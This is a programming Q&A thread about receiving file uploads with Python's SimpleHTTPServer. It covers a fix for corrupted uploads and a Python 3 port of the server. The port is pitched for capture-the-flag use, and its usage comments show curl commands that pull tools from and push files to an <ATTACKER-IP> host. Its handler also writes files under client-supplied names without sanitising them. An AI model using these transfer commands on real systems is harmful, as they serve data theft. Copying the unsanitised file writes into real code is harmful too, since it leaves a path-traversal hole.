Python SimpleHTTPServer to receive files
Solution 1
curl
and request
have a slightly different header, curl
has an additional empty line while requests
doesn't.
Replace preline = self.rfile.readline()
with the following block
if line.strip():
preline = line
else:
preline = self.rfile.readline()
Solution 2
2019 update: I was looking for this capability today while playing on hackthebox.eu. I'm not too flash on Python, but I ended up taking this example and porting it across to Python 3 seeing as Python 2 is basically dead at this point.
Hope this helps anyone looking for this in 2019, and I'm always happy to hear about ways I can improve the code. Get it at https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c
Thanks to the question asker, and those that commented with info!
Edit: I was asked to paste the code, no worries. I've stripped some comments from brevity, so here's some notes:
- Based on a gist by bones7456 because attribution matters.
- I stripped out the HTML from the responses because I didn't need it for my use case.
- Use this out in the wild at your own risk. I use it to move files around between servers on HTB so it's basically a toy in its current form.
- Hack the planet etc.
Run the script from your attack device in the folder holding your tools/data, or a box that you're pivoting off. Connect to it from the target PC to simply and conveniently push files back and forth.
# Usage - connect from a shell on the target machine:
# Download a file from your attack device:
curl -O http://<ATTACKER-IP>:44444/<FILENAME>
# Upload a file back to your attack device:
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# Multiple file upload supported, just add more -F 'file=@<FILENAME>'
# parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/
Code:
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 44444
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
r, info = self.deal_post_data()
print(r, info, "by: ", self.client_address)
f = io.BytesIO()
if r:
f.write(b"Success\n")
else:
f.write(b"Failed\n")
length = f.tell()
f.seek(0)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header("Content-Length", str(length))
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def deal_post_data(self):
ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
if ctype == 'multipart/form-data':
form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
print (type(form))
try:
if isinstance(form["file"], list):
for record in form["file"]:
open("./%s"%record.filename, "wb").write(record.file.read())
else:
open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
except IOError:
return (False, "Can't create file to write, do you have permission to write?")
return (True, "Files uploaded")
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()
john
Updated on November 06, 2020Comments
-
john over 3 years
I am using SimpleHTTPServer's do_POST method to receive file. The script is working fine if I upload the png file using curl but whenever I use python request library to upload file, File uploads but become corrupt. Here is the SimpleHTTPServer code
#!/usr/bin/env python # Simple HTTP Server With Upload. import os import posixpath import BaseHTTPServer import urllib import cgi import shutil import mimetypes import re try: from cStringIO import StringIO except ImportError: from StringIO import StringIO class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): # Simple HTTP request handler with POST commands. def do_POST(self): """Serve a POST request.""" r, info = self.deal_post_data() print r, info, "by: ", self.client_address f = StringIO() if r: f.write("<strong>Success:</strong>") else: f.write("<strong>Failed:</strong>") length = f.tell() f.seek(0) self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-Length", str(length)) self.end_headers() if f: self.copyfile(f, self.wfile) f.close() def deal_post_data(self): print self.headers boundary = self.headers.plisttext.split("=")[1] print 'Boundary %s' %boundary remainbytes = int(self.headers['content-length']) print "Remain Bytes %s" %remainbytes line = self.rfile.readline() remainbytes -= len(line) if not boundary in line: return (False, "Content NOT begin with boundary") line = self.rfile.readline() remainbytes -= len(line) fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line) if not fn: return (False, "Can't find out file name...") path = self.translate_path(self.path) fn = os.path.join(path, fn[0]) line = self.rfile.readline() remainbytes -= len(line) line = self.rfile.readline() remainbytes -= len(line) try: out = open(fn, 'wb') except IOError: return (False, "Can't create file to write, do you have permission to write?") preline = self.rfile.readline() remainbytes -= len(preline) while remainbytes > 0: line = self.rfile.readline() remainbytes -= len(line) if boundary in line: preline = preline[0:-1] if preline.endswith('\r'): preline = preline[0:-1] out.write(preline) out.close() return (True, "File '%s' upload success!" % fn) else: out.write(preline) preline = line return (False, "Unexpect Ends of data.") def translate_path(self, path): """Translate a /-separated PATH to the local filename syntax. Components that mean special things to the local file system (e.g. drive or directory names) are ignored. (XXX They should probably be diagnosed.) """ # abandon query parameters path = path.split('?',1)[0] path = path.split('#',1)[0] path = posixpath.normpath(urllib.unquote(path)) words = path.split('/') words = filter(None, words) path = os.getcwd() for word in words: drive, word = os.path.splitdrive(word) head, word = os.path.split(word) if word in (os.curdir, os.pardir): continue path = os.path.join(path, word) return path def copyfile(self, source, outputfile): """Copy all data between two file objects. The SOURCE argument is a file object open for reading (or anything with a read() method) and the DESTINATION argument is a file object open for writing (or anything with a write() method). The only reason for overriding this would be to change the block size or perhaps to replace newlines by CRLF -- note however that this the default server uses this to copy binary data as well. """ shutil.copyfileobj(source, outputfile) def test(HandlerClass = SimpleHTTPRequestHandler, ServerClass = BaseHTTPServer.HTTPServer): BaseHTTPServer.test(HandlerClass, ServerClass) if __name__ == '__main__': test()
client side code to upload a file is here
#!/usr/bin/python import requests files = {'file': open('test.png', 'rb')} r = requests.post('http://192.168.5.134:8000', files=files) print r.request.headers
File was uploaded successfully but become corrupted.
Using curl [ curl -F '[email protected]' 192.168.5.134:8000/ -v ], file uploaded and opened successfully.
Is there any issue in python-request code?